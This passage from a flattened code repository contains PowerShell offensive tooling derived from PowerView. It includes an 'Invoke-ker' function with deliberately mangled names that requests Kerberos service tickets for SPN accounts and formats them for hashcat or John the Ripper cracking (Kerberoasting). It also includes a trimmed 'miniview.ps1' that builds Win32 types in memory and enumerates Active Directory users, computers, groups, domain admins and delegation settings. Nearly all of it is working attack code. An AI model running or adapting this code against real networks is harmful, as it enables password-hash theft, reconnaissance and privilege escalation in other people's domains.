| } 660 | else { 661 | $UACValue = [Int]($UACEnum::$_) 662 | $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" 663 | } 664 | } 665 | 666 | $UserSearcher.filter = "(&(samAccountType=805306368)$Filter)" 667 | Write-Verbose "[Get-DomainUser] filter string: $($UserSearcher.filter)" 668 | 669 | if ($PSBoundParameters['FindOne']) { $Results = $UserSearcher.FindOne() } 670 | else { $Results = $UserSearcher.FindAll() } 671 | $Results | Where-Object {$_} | ForEach-Object { 672 | if ($PSBoundParameters['Raw']) { 673 | # return raw result objects 674 | $User = $_ 675 | $User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw') 676 | } 677 | else { 678 | $User = Convert-LDAPProperty -Properties $_.Properties 679 | $User.PSObject.TypeNames.Insert(0, 'PowerView.User') 680 | } 681 | $User 682 | } 683 | if ($Results) { 684 | try { $Results.dispose() } 685 | catch { 686 | Write-Verbose "[Get-DomainUser] Error disposing of the Results object: $_" 687 | } 688 | } 689 | $UserSearcher.dispose() 690 | } 691 | } 692 | } 693 | 694 | function Invoke-ker { 695 | [OutputType('PxxxxxView.SPddicket')] 696 | [CmdletBinding()] 697 | Param( 698 | 699 | [ValidateNotNullOrEmpty()] 700 | [Alias('Filter')] 701 | [String] 702 | $LDAPFilter, 703 | 704 | 705 | [ValidateRange(1, 10000)] 706 | [Int] 707 | $ResultPageSize = 200, 708 | 709 | [ValidateRange(1, 10000)] 710 | [Int] 711 | $ServerTimeLimit, 712 | 713 | [ValidateRange(0,10000)] 714 | [Int] 715 | $Delay = 0, 716 | 717 | [ValidateRange(0.0, 1.0)] 718 | [Double] 719 | $Jitter = .3, 720 | 721 | [ValidateSet('john', 'hashcat')] 722 | [Alias('Format')] 723 | [String] 724 | $OutputFormat = 'hashcat' 725 | ) 726 | BEGIN { 727 | $UserSearcherArguments = @{ 728 | 'SPN' = $True 729 | 'Properties' = 'samaccountname,distinguishedname,serviceprincipalname' 730 | } 731 | if ($PSBoundParameters['LDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $LDAPFilter } 732 | if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } 733 | if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 734 | if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } 735 | if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } 736 | } 737 | 738 | PROCESS { 739 | if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity } 740 | Get-DomainUser @UserSearcherArguments | Get-DomainSPNTicket -Delay $Delay -OutputFormat $OutputFormat -Jitter $Jitter 741 | } 742 | 743 | END { 744 | if ($LogonToken) { 745 | Invoke-RevertToSelf -TokenHandle $LogonToken 746 | } 747 | } 748 | } 749 | -------------------------------------------------------------------------------- /ps_scripts/miniview.ps1: -------------------------------------------------------------------------------- 1 | function Get-DomainSID { 2 | param( 3 | [String] 4 | $Domain 5 | ) 6 | 7 | $FoundDomain = Get-NetDomain -Domain $Domain 8 | 9 | if($FoundDomain) { 10 | $PrimaryDC = $FoundDomain.PdcRoleOwner 11 | $PrimaryDCSID = (Get-NetComputer -Domain $Domain -ComputerName $PrimaryDC -FullData).objectsid 12 | $Parts = $PrimaryDCSID.split("-") 13 | $Parts[0..($Parts.length -2)] -join "-" 14 | } 15 | } 16 | 17 | function Add-Win32Type 18 | { 19 | [OutputType([Hashtable])] 20 | Param( 21 | [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] 22 | [String] 23 | $DllName, 24 | 25 | [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] 26 | [String] 27 | $FunctionName, 28 | 29 | [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] 30 | [Type] 31 | $ReturnType, 32 | 33 | [Parameter(ValueFromPipelineByPropertyName = $True)] 34 | [Type[]] 35 | $ParameterTypes, 36 | 37 | [Parameter(ValueFromPipelineByPropertyName = $True)] 38 | [Runtime.InteropServices.CallingConvention] 39 | $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall, 40 | 41 | [Parameter(ValueFromPipelineByPropertyName = $True)] 42 | [Runtime.InteropServices.CharSet] 43 | $Charset = [Runtime.InteropServices.CharSet]::Auto, 44 | 45 | [Parameter(ValueFromPipelineByPropertyName = $True)] 46 | [Switch] 47 | $SetLastError, 48 | 49 | [Parameter(Mandatory = $True)] 50 | [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] 51 | $Module, 52 | 53 | [ValidateNotNull()] 54 | [String] 55 | $Namespace = '' 56 | ) 57 | 58 | BEGIN 59 | { 60 | $TypeHash = @{} 61 | } 62 | 63 | PROCESS 64 | { 65 | if ($Module -is [Reflection.Assembly]) 66 | { 67 | if ($Namespace) 68 | { 69 | $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName") 70 | } 71 | else 72 | { 73 | $TypeHash[$DllName] = $Module.GetType($DllName) 74 | } 75 | } 76 | else 77 | { 78 | if (!$TypeHash.ContainsKey($DllName)) 79 | { 80 | if ($Namespace) 81 | { 82 | $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit') 83 | } 84 | else 85 | { 86 | $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit') 87 | } 88 | } 89 | 90 | $Method = $TypeHash[$DllName].DefineMethod( 91 | $FunctionName, 92 | 'Public,Static,PinvokeImpl', 93 | $ReturnType, 94 | $ParameterTypes) 95 | 96 | $i = 1 97 | ForEach($Parameter in $ParameterTypes) 98 | { 99 | if ($Parameter.IsByRef) 100 | { 101 | [void] $Method.DefineParameter($i, 'Out', $Null) 102 | } 103 | 104 | $i++ 105 | } 106 | 107 | $DllImport = [Runtime.InteropServices.DllImportAttribute] 108 | $SetLastErrorField = $DllImport.GetField('SetLastError') 109 | $CallingConventionField = $DllImport.GetField('CallingConvention') 110 | $CharsetField = $DllImport.GetField('CharSet') 111 | if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False } 112 | 113 | $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String]) 114 | $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor, 115 | $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(), 116 | [Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField), 117 | [Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset))) 118 | 119 | $Method.SetCustomAttribute($DllImportAttribute) 120 | } 121 | } 122 | 123 | END 124 | { 125 | if ($Module -is [Reflection.Assembly]) 126 | { 127 | return $TypeHash 128 | } 129 | 130 | $ReturnTypes = @{} 131 | 132 | ForEach ($Key in $TypeHash.Keys) 133 | { 134 | $Type = $TypeHash[$Key].CreateType() 135 | 136 | $ReturnTypes[$Key] = $Type 137 | } 138 | 139 | return $ReturnTypes 140 | } 141 | } 142 | 143 | function struct 144 | { 145 | 146 | 147 | [OutputType([Type])] 148 | Param 149 | ( 150 | [Parameter(Position = 1, Mandatory = $True)] 151 | [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] 152 | $Module, 153 | 154 | [Parameter(Position = 2, Mandatory = $True)] 155 | [ValidateNotNullOrEmpty()] 156 | [String] 157 | $FullName, 158 | 159 | [Parameter(Position = 3, Mandatory = $True)] 160 | [ValidateNotNullOrEmpty()] 161 | [Hashtable] 162 | $StructFields, 163 | 164 | [Reflection.Emit.PackingSize] 165 | $PackingSize = [Reflection.Emit.PackingSize]::Unspecified, 166 | 167 | [Switch] 168 | $ExplicitLayout 169 | ) 170 | 171 | if ($Module -is [Reflection.Assembly]) 172 | { 173 | return ($Module.GetType($FullName)) 174 | } 175 | 176 | [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass, 177 | Class, 178 | Public, 179 | Sealed, 180 | BeforeFieldInit' 181 | 182 | if ($ExplicitLayout) 183 | { 184 | $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout 185 | } 186 | else 187 | { 188 | $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout 189 | } 190 | 191 | $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize) 192 | $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] 193 | $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) 194 | 195 | $Fields = New-Object Hashtable[]($StructFields.Count) 196 | 197 | ForEach ($Field in $StructFields.Keys) 198 | { 199 | $Index = $StructFields[$Field]['Position'] 200 | $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]} 201 | } 202 | 203 | ForEach ($Field in $Fields) 204 | { 205 | $FieldName = $Field['FieldName'] 206 | $FieldProp = $Field['Properties'] 207 | 208 | $Offset = $FieldProp['Offset'] 209 | $Type = $FieldProp['Type'] 210 | $MarshalAs = $FieldProp['MarshalAs'] 211 | 212 | $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public') 213 | 214 | if ($MarshalAs) 215 | { 216 | $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType]) 217 | if ($MarshalAs[1]) 218 | { 219 | $Size = $MarshalAs[1] 220 | $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, 221 | $UnmanagedType, $SizeConst, @($Size)) 222 | } 223 | else 224 | { 225 | $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType)) 226 | } 227 | 228 | $NewField.SetCustomAttribute($AttribBuilder) 229 | } 230 | 231 | if ($ExplicitLayout) { $NewField.SetOffset($Offset) } 232 | } 233 | 234 | $SizeMethod = $StructBuilder.DefineMethod('GetSize', 235 | 'Public, Static', 236 | [Int], 237 | [Type[]] @()) 238 | $ILGenerator = $SizeMethod.GetILGenerator() 239 | $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) 240 | $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, 241 | [Type].GetMethod('GetTypeFromHandle')) 242 | $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, 243 | [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type]))) 244 | $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret) 245 | 246 | $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit', 247 | 'PrivateScope, Public, Static, HideBySig, SpecialName', 248 | $StructBuilder, 249 | [Type[]] @([IntPtr])) 250 | $ILGenerator2 = $ImplicitConverter.GetILGenerator() 251 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop) 252 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0) 253 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) 254 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, 255 | [Type].GetMethod('GetTypeFromHandle')) 256 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, 257 | [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type]))) 258 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder) 259 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret) 260 | 261 | $StructBuilder.CreateType() 262 | } 263 | 264 | function func 265 | { 266 | Param 267 | ( 268 | [Parameter(Position = 0, Mandatory = $True)] 269 | [String] 270 | $DllName, 271 | 272 | [Parameter(Position = 1, Mandatory = $True)] 273 | [String] 274 | $FunctionName, 275 | 276 | [Parameter(Position = 2, Mandatory = $True)] 277 | [Type] 278 | $ReturnType, 279 | 280 | [Parameter(Position = 3)] 281 | [Type[]] 282 | $ParameterTypes, 283 | 284 | [Parameter(Position = 4)] 285 | [Runtime.InteropServices.CallingConvention] 286 | $NativeCallingConvention, 287 | 288 | [Parameter(Position = 5)] 289 | [Runtime.InteropServices.CharSet] 290 | $Charset, 291 | 292 | [Switch] 293 | $SetLastError 294 | ) 295 | 296 | $Properties = @{ 297 | DllName = $DllName 298 | FunctionName = $FunctionName 299 | ReturnType = $ReturnType 300 | } 301 | 302 | if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes } 303 | if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention } 304 | if ($Charset) { $Properties['Charset'] = $Charset } 305 | if ($SetLastError) { $Properties['SetLastError'] = $SetLastError } 306 | 307 | New-Object PSObject -Property $Properties 308 | } 309 | 310 | function field 311 | { 312 | Param 313 | ( 314 | [Parameter(Position = 0, Mandatory = $True)] 315 | [UInt16] 316 | $Position, 317 | 318 | [Parameter(Position = 1, Mandatory = $True)] 319 | [Type] 320 | $Type, 321 | 322 | [Parameter(Position = 2)] 323 | [UInt16] 324 | $Offset, 325 | 326 | [Object[]] 327 | $MarshalAs 328 | ) 329 | 330 | @{ 331 | Position = $Position 332 | Type = $Type -as [Type] 333 | Offset = $Offset 334 | MarshalAs = $MarshalAs 335 | } 336 | } 337 | 338 | function Convert-LDAPProperty { 339 | param( 340 | [Parameter(Mandatory=$True,ValueFromPipeline=$True)] 341 | [ValidateNotNullOrEmpty()] 342 | $Properties 343 | ) 344 | 345 | $ObjectProperties = @{} 346 | 347 | $Properties.PropertyNames | ForEach-Object { 348 | if (($_ -eq "objectsid") -or ($_ -eq "sidhistory")) { 349 | $ObjectProperties[$_] = (New-Object System.Security.Principal.SecurityIdentifier($Properties[$_][0],0)).Value 350 | } 351 | elseif($_ -eq "objectguid") { 352 | $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid 353 | } 354 | elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") -or ($_ -eq "lastlogoff") -or ($_ -eq "badPasswordTime") ) { 355 | if ($Properties[$_][0] -is [System.MarshalByRefObject]) { 356 | $Temp = $Properties[$_][0] 357 | [Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) 358 | [Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) 359 | $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low))) 360 | } 361 | else { 362 | $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0]))) 363 | } 364 | } 365 | elseif($Properties[$_][0] -is [System.MarshalByRefObject]) { 366 | $Prop = $Properties[$_] 367 | try { 368 | $Temp = $Prop[$_][0] 369 | Write-Verbose $_ 370 | [Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) 371 | [Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) 372 | $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low) 373 | } 374 | catch { 375 | $ObjectProperties[$_] = $Prop[$_] 376 | } 377 | } 378 | elseif($Properties[$_].count -eq 1) { 379 | $ObjectProperties[$_] = $Properties[$_][0] 380 | } 381 | else { 382 | $ObjectProperties[$_] = $Properties[$_] 383 | } 384 | } 385 | 386 | New-Object -TypeName PSObject -Property $ObjectProperties 387 | } 388 | 389 | function New-InMemoryModule 390 | { 391 | 392 | Param 393 | ( 394 | [Parameter(Position = 0)] 395 | [ValidateNotNullOrEmpty()] 396 | [String] 397 | $ModuleName = [Guid]::NewGuid().ToString() 398 | ) 399 | 400 | $LoadedAssemblies = [AppDomain]::CurrentDomain.GetAssemblies() 401 | 402 | ForEach ($Assembly in $LoadedAssemblies) { 403 | if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) { 404 | return $Assembly 405 | } 406 | } 407 | 408 | $DynAssembly = New-Object Reflection.AssemblyName($ModuleName) 409 | $Domain = [AppDomain]::CurrentDomain 410 | $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run') 411 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False) 412 | 413 | return $ModuleBuilder 414 | } 415 | 416 | function psenum 417 | { 418 | 419 | [OutputType([Type])] 420 | Param 421 | ( 422 | [Parameter(Position = 0, Mandatory = $True)] 423 | [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] 424 | $Module, 425 | 426 | [Parameter(Position = 1, Mandatory = $True)] 427 | [ValidateNotNullOrEmpty()] 428 | [String] 429 | $FullName, 430 | 431 | [Parameter(Position = 2, Mandatory = $True)] 432 | [Type] 433 | $Type, 434 | 435 | [Parameter(Position = 3, Mandatory = $True)] 436 | [ValidateNotNullOrEmpty()] 437 | [Hashtable] 438 | $EnumElements, 439 | 440 | [Switch] 441 | $Bitfield 442 | ) 443 | 444 | if ($Module -is [Reflection.Assembly]) 445 | { 446 | return ($Module.GetType($FullName)) 447 | } 448 | 449 | $EnumType = $Type -as [Type] 450 | 451 | $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType) 452 | 453 | if ($Bitfield) 454 | { 455 | $FlagsConstructor = [FlagsAttribute].GetConstructor(@()) 456 | $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @()) 457 | $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) 458 | } 459 | 460 | ForEach ($Key in $EnumElements.Keys) 461 | { 462 | $Null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType) 463 | } 464 | 465 | $EnumBuilder.CreateType() 466 | } 467 | 468 | $Mod = New-InMemoryModule -ModuleName Win32 469 | 470 | # all of the Win32 API functions we need 471 | $FunctionDefinitions = @( 472 | (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), 473 | (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])) 474 | ) 475 | 476 | $SHARE_INFO_1 = struct $Mod SHARE_INFO_1 @{ 477 | shi1_netname = field 0 String -MarshalAs @('LPWStr') 478 | shi1_type = field 1 UInt32 479 | shi1_remark = field 2 String -MarshalAs @('LPWStr') 480 | } 481 | 482 | $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' 483 | $Netapi32 = $Types['netapi32'] 484 | 485 | function Get-NetDomain { 486 | [CmdletBinding()] 487 | param( 488 | [Parameter(ValueFromPipeline=$True)] 489 | [String] 490 | $Domain 491 | ) 492 | 493 | process { 494 | if($Domain) { 495 | $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) 496 | try { 497 | [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) 498 | } 499 | catch { 500 | Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." 501 | $Null 502 | } 503 | } 504 | else { 505 | [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() 506 | } 507 | } 508 | } 509 | 510 | 511 | function Get-DomainSearcher { 512 | [CmdletBinding()] 513 | param( 514 | [String] 515 | $Domain, 516 | 517 | [String] 518 | $DomainController, 519 | 520 | [String] 521 | $ADSpath, 522 | 523 | [String] 524 | $ADSprefix, 525 | 526 | [ValidateRange(1,10000)] 527 | [Int] 528 | $PageSize = 200 529 | ) 530 | 531 | if(!$Domain) { 532 | $Domain = (Get-NetDomain).name 533 | } 534 | else { 535 | if(!$DomainController) { 536 | try { 537 | $DomainController = ((Get-NetDomain).PdcRoleOwner).Name 538 | } 539 | catch { 540 | throw "Get-DomainSearcher: Error in retrieving PDC for current domain" 541 | } 542 | } 543 | } 544 | 545 | $SearchString = "LDAP://" 546 | 547 | if($DomainController) { 548 | $SearchString += $DomainController + "/" 549 | } 550 | if($ADSprefix) { 551 | $SearchString += $ADSprefix + "," 552 | } 553 | 554 | if($ADSpath) { 555 | if($ADSpath -like "GC://*") { 556 | $DistinguishedName = $AdsPath 557 | $SearchString = "" 558 | } 559 | else { 560 | if($ADSpath -like "LDAP://*") { 561 | $ADSpath = $ADSpath.Substring(7) 562 | } 563 | $DistinguishedName = $ADSpath 564 | } 565 | } 566 | else { 567 | $DistinguishedName = "DC=$($Domain.Replace('.', ',DC='))" 568 | } 569 | 570 | $SearchString += $DistinguishedName 571 | Write-Verbose "Get-DomainSearcher search string: $SearchString" 572 | 573 | $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) 574 | $Searcher.PageSize = $PageSize 575 | $Searcher 576 | } 577 | 578 | function Get-NetUser { 579 | 580 | [CmdletBinding()] 581 | param( 582 | [Parameter(ValueFromPipeline=$True)] 583 | [String] 584 | $UserName, 585 | 586 | [String] 587 | $Domain, 588 | 589 | [String] 590 | $DomainController, 591 | 592 | [String] 593 | $ADSpath, 594 | 595 | [String] 596 | $Filter, 597 | 598 | [Switch] 599 | $SPN, 600 | 601 | [Switch] 602 | $AdminCount, 603 | 604 | [Switch] 605 | $Unconstrained, 606 | 607 | [Switch] 608 | $AllowDelegation, 609 | 610 | [ValidateRange(1,10000)] 611 | [Int] 612 | $PageSize = 200 613 | ) 614 | 615 | begin { 616 | $UserSearcher = Get-DomainSearcher -Domain $Domain -ADSpath $ADSpath -DomainController $DomainController -PageSize $PageSize 617 | } 618 | 619 | process { 620 | if($UserSearcher) { 621 | 622 | if($Unconstrained) { 623 | Write-Verbose "Checking for unconstrained delegation" 624 | $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)" 625 | } 626 | if($AllowDelegation) { 627 | Write-Verbose "Checking for users who can be delegated" 628 | $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))" 629 | } 630 | if($AdminCount) { 631 | Write-Verbose "Checking for adminCount=1" 632 | $Filter += "(admincount=1)" 633 | } 634 | 635 | if($UserName) { 636 | $UserSearcher.filter="(&(samAccountType=805306368)(samAccountName=$UserName)$Filter)" 637 | } 638 | elseif($SPN) { 639 | $UserSearcher.filter="(&(samAccountType=805306368)(servicePrincipalName=*)$Filter)" 640 | } 641 | else { 642 | $UserSearcher.filter="(&(samAccountType=805306368)$Filter)" 643 | } 644 | 645 | $UserSearcher.FindAll() | Where-Object {$_} | ForEach-Object { 646 | Convert-LDAPProperty -Properties $_.Properties 647 | } 648 | } 649 | } 650 | } 651 | 652 | function Get-DomainSID { 653 | param( 654 | [String] 655 | $Domain 656 | ) 657 | 658 | $FoundDomain = Get-NetDomain -Domain $Domain 659 | 660 | if($FoundDomain) { 661 | $PrimaryDC = $FoundDomain.PdcRoleOwner 662 | $PrimaryDCSID = (Get-NetComputer -Domain $Domain -ComputerName $PrimaryDC -FullData).objectsid 663 | $Parts = $PrimaryDCSID.split("-") 664 | $Parts[0..($Parts.length -2)] -join "-" 665 | } 666 | } 667 | 668 | function Get-NetComputer { 669 | 670 | [CmdletBinding()] 671 | Param ( 672 | [Parameter(ValueFromPipeline=$True)] 673 | [Alias('HostName')] 674 | [String] 675 | $ComputerName = '*', 676 | 677 | [String] 678 | $SPN, 679 | 680 | [String] 681 | $OperatingSystem, 682 | 683 | [String] 684 | $ServicePack, 685 | 686 | [String] 687 | $Filter, 688 | 689 | [Switch] 690 | $Printers, 691 | 692 | [Switch] 693 | $Ping, 694 | 695 | [Switch] 696 | $FullData, 697 | 698 | [String] 699 | $Domain, 700 | 701 | [String] 702 | $DomainController, 703 | 704 | [String] 705 | $ADSpath, 706 | 707 | [Switch] 708 | $Unconstrained, 709 | 710 | [ValidateRange(1,10000)] 711 | [Int] 712 | $PageSize = 200 713 | ) 714 | 715 | begin { 716 | $CompSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize 717 | } 718 | 719 | process { 720 | 721 | if ($CompSearcher) { 722 | 723 | if($Unconstrained) { 724 | Write-Verbose "Searching for computers with for unconstrained delegation" 725 | $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)" 726 | } 727 | if($Printers) { 728 | Write-Verbose "Searching for printers" 729 | $Filter += "(objectCategory=printQueue)" 730 | } 731 | if($SPN) { 732 | Write-Verbose "Searching for computers with SPN: $SPN" 733 | $Filter += "(servicePrincipalName=$SPN)" 734 | } 735 | if($OperatingSystem) { 736 | $Filter += "(operatingsystem=$OperatingSystem)" 737 | } 738 | if($ServicePack) { 739 | $Filter += "(operatingsystemservicepack=$ServicePack)" 740 | } 741 | 742 | $CompSearcher.filter = "(&(sAMAccountType=805306369)(dnshostname=$ComputerName)$Filter)" 743 | 744 | try { 745 | 746 | $CompSearcher.FindAll() | Where-Object {$_} | ForEach-Object { 747 | $Up = $True 748 | if($Ping) { 749 | $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname 750 | } 751 | if($Up) { 752 | if ($FullData) { 753 | Convert-LDAPProperty -Properties $_.Properties 754 | } 755 | else { 756 | $_.properties.dnshostname 757 | } 758 | } 759 | } 760 | } 761 | catch { 762 | Write-Warning "Error: $_" 763 | } 764 | } 765 | } 766 | } 767 | 768 | 769 | function Get-NetGroup { 770 | [CmdletBinding()] 771 | param( 772 | [Parameter(ValueFromPipeline=$True)] 773 | [String] 774 | $GroupName = '*', 775 | 776 | [String] 777 | $SID, 778 | 779 | [String] 780 | $UserName, 781 | 782 | [String] 783 | $Filter, 784 | 785 | [String] 786 | $Domain, 787 | 788 | [String] 789 | $DomainController, 790 | 791 | [String] 792 | $ADSpath, 793 | 794 | [Switch] 795 | $AdminCount, 796 | 797 | [Switch] 798 | $FullData, 799 | 800 | [Switch] 801 | $RawSids, 802 | 803 | [ValidateRange(1,10000)] 804 | [Int] 805 | $PageSize = 200 806 | ) 807 | 808 | begin { 809 | $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize 810 | } 811 | 812 | process { 813 | if($GroupSearcher) { 814 | 815 | if($AdminCount) { 816 | Write-Verbose "Checking for adminCount=1" 817 | $Filter += "(admincount=1)" 818 | } 819 | 820 | if ($UserName) { 821 | $User = Get-ADObject -SamAccountName $UserName -Domain $Domain -DomainController $DomainController -ReturnRaw -PageSize $PageSize 822 | 823 | $UserDirectoryEntry = $User.GetDirectoryEntry() 824 | 825 | $UserDirectoryEntry.RefreshCache("tokenGroups") 826 | 827 | $UserDirectoryEntry.TokenGroups | Foreach-Object { 828 | $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value 829 | 830 | if(!($GroupSid -match '^S-1-5-32-545|-513$')) { 831 | if($FullData) { 832 | Get-ADObject -SID $GroupSid -PageSize $PageSize 833 | } 834 | else { 835 | if($RawSids) { 836 | $GroupSid 837 | } 838 | else { 839 | Convert-SidToName $GroupSid 840 | } 841 | } 842 | } 843 | } 844 | } 845 | else { 846 | if ($SID) { 847 | $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)" 848 | } 849 | else { 850 | $GroupSearcher.filter = "(&(objectCategory=group)(name=$GroupName)$Filter)" 851 | } 852 | 853 | $GroupSearcher.FindAll() | Where-Object {$_} | ForEach-Object { 854 | if ($FullData) { 855 | Convert-LDAPProperty -Properties $_.Properties 856 | } 857 | else { 858 | $_.properties.samaccountname 859 | } 860 | } 861 | } 862 | } 863 | } 864 | } 865 | 866 | function Get-NetGroupMember { 867 | [CmdletBinding()] 868 | param( 869 | [Parameter(ValueFromPipeline=$True)] 870 | [String] 871 | $GroupName, 872 | 873 | [String] 874 | $SID, 875 | 876 | [String] 877 | $Domain = (Get-NetDomain).Name, 878 | 879 | [String] 880 | $DomainController, 881 | 882 | [String] 883 | $ADSpath, 884 | 885 | [Switch] 886 | $FullData, 887 | 888 | [Switch] 889 | $Recurse, 890 | 891 | [Switch] 892 | $UseMatchingRule, 893 | 894 | [ValidateRange(1,10000)] 895 | [Int] 896 | $PageSize = 200 897 | ) 898 | 899 | begin { 900 | $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize 901 | 902 | if(!$DomainController) { 903 | $DomainController = ((Get-NetDomain).PdcRoleOwner).Name 904 | } 905 | } 906 | 907 | process { 908 | 909 | if ($GroupSearcher) { 910 | 911 | if ($Recurse -and $UseMatchingRule) { 912 | if ($GroupName) { 913 | $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -FullData -PageSize $PageSize 914 | } 915 | elseif ($SID) { 916 | $Group = Get-NetGroup -SID $SID -Domain $Domain -FullData -PageSize $PageSize 917 | } 918 | else { 919 | $SID = (Get-DomainSID -Domain $Domain) + "-512" 920 | $Group = Get-NetGroup -SID $SID -Domain $Domain -FullData -PageSize $PageSize 921 | } 922 | $GroupDN = $Group.distinguishedname 923 | $GroupFoundName = $Group.name 924 | 925 | if ($GroupDN) { 926 | $GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupDN)$Filter)" 927 | 